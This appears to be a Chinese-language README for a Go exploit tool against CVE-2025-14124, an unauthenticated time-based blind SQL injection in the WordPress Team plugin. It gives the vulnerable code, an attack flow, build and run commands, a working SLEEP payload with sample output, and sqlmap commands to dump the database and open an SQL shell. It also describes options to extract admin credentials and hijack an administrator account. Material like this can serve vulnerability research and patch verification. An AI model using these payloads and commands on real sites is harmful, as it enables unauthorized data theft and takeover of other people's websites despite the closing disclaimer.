作者: Hyun Chiya
| 字段 | 值 |
|---|---|
| CVE ID | CVE-2025-14124 |
| 插件 | WordPress Team 插件 |
| 受影响版本 | < 5.0.11 |
| 漏洞类型 | 未认证 SQL 注入(基于时间的盲注) |
| 严重性 | 高 |
WordPress Team 插件未能正确清理和转义 search 参数,便将其用于通过 AJAX 操作执行的 SQL 语句中,且该操作对未认证用户可用,从而导致 SQL 注入。
漏洞代码位于 app/Controllers/Frontend/Ajax/LoadMore.php:
// 第221行 - 用户输入已清理,但未进行SQL转义
$sAction = sanitize_text_field( wp_unslash( $_REQUEST['search'] ) );
// 第437-438行 - 漏洞:直接拼接SQL
function tlp_team_search_where( $where ) {
global $wpdb;
$term = $wpdb->esc_like( $this->s['s'] ); // ⚠️ esc_like 仅转义 %, _, \
$where .= "OR ({$wpdb->posts}.post_title LIKE '%{$term}%' ...)"; // ⚠️ SQLi!
}
问题: $wpdb->esc_like() 仅转义 LIKE 通配符,而非 SQL 注入元字符。
flowchart TD
A["攻击者找到包含 [tlpteam] 短代码的页面"] --> B["提取 tlp_nonce 和 data-sc-id"]
B --> C["向 /wp-admin/admin-ajax.php 发送 POST 请求"]
C --> D["action=ttp_Layout_Ajax_Action<br/>search=SQL_PAYLOAD"]
D --> E{"Nonce 有效?"}
E -->|是| F["SQL 查询执行载荷"]
F --> G["通过 SLEEP() 进行基于时间的检测"]
style F fill:#ff6b6b,stroke:#c92a2a,color:#fff
style G fill:#51cf66,stroke:#2f9e44,color:#fff[tlpteam] 短代码的页面go build -o CVE-2025-14124.exe main.go
.\CVE-2025-14124.exe -u http://target.com
.\CVE-2025-14124.exe -u http://target.com --page-url http://target.com/our-team/
.\CVE-2025-14124.exe -u http://target.com --check-only
.\CVE-2025-14124.exe -u http://target.com --delay 5
--dump)使用 --dump 时,工具将提取:
注意: 由于基于时间的盲注特性,数据提取速度较慢(完整提取约需 5~15 分钟)。
--create-admin)尝试通过 SQL UPDATE 更改现有管理员密码。
⚠️ 重要: 此模式需要 堆叠查询 支持,这在 PHP + MySQL 中通常被禁用。如果不支持堆叠查询,请使用
--dump提取凭据,或者使用sqlmap --sql-shell直接执行 UPDATE。
>> [ ONLINE ]
╔═══════════════════════════════════════════════════════════════════════════════════════╗
║ CVE-2025-14124 - WordPress Team 插件 SQL 注入 ║
║ 影响版本: tlp-team < 5.0.11 ║
║ 作者: Hyun Chiya ║
╚═══════════════════════════════════════════════════════════════════════════════════════╝
>> [ INFORMATION ]
[*] 正在检查 WordPress Team 插件是否激活...
[+] 检测到插件: /wp-content/plugins/tlp-team/readme.txt
[+] 插件已检测到!
[*] 正在搜索包含 tlpteam 短代码的页面...
[+] 找到团队页面: http://target.com/our-team/
[+] 目标页面: http://target.com/our-team/
[+] 提取到 nonce: abc123def456
[+] 提取到 scID: 42
============================================================
[*] 利用: 基于时间的盲注 SQL 注入
============================================================
[*] 载荷: t' OR SLEEP(3) OR 't'='t
[*] 预期延迟: ~9 秒(SLEEP 执行 3 次)
[*] 发送恶意请求...
[*] 响应时间: 9.23 秒
[+] SQL 注入确认!
[+] 响应延迟约 9 秒(预期:9 秒)
[!] 目标存在基于时间的盲注 SQL 注入漏洞
[!] 可使用 sqlmap 等工具提取数据库
[*] 完成。
确认漏洞后,可使用 sqlmap 进行高级利用:
# 转储数据库
sqlmap -u "http://target.com/wp-admin/admin-ajax.php" \
--data="action=ttp_Layout_Ajax_Action&scID=32&tlp_nonce=NONCE&search=test" \
-p search --dbms=mysql --technique=T --batch --dump
# SQL Shell(用于 UPDATE 查询)
sqlmap -u "http://target.com/wp-admin/admin-ajax.php" \
--data="action=ttp_Layout_Ajax_Action&scID=32&tlp_nonce=NONCE&search=test" \
-p search --dbms=mysql --technique=T --sql-shell
⚠️ 重要提示: 请将 WordPress Team 插件更新至 5.0.11 或更高版本,该版本已通过使用
$wpdb->prepare()进行了正确的 SQL 转义,修复了此漏洞。
本工具仅供教育和授权安全测试使用。未经授权访问计算机系统是违法行为。请负责任地使用。
Hyun Chiya
| 参数 | 说明 |
|---|
-u | 目标 WordPress URL(必填) |
--page-url | 包含 tlpteam 短代码的页面 URL |
--delay | 检测时 SLEEP 秒数(默认:1) |
--dump | 提取数据库信息及 WordPress 管理员凭据 |
--create-admin | 尝试劫持管理员账户(需要堆叠查询支持) |
--admin-user | 管理员劫持使用的用户名(默认:pwned_admin) |
--admin-pass | 管理员劫持使用的密码(默认:Pwned123!) |
--check-only | 仅检测插件是否激活 |
--timeout | 请求超时时间(秒)(默认:120) |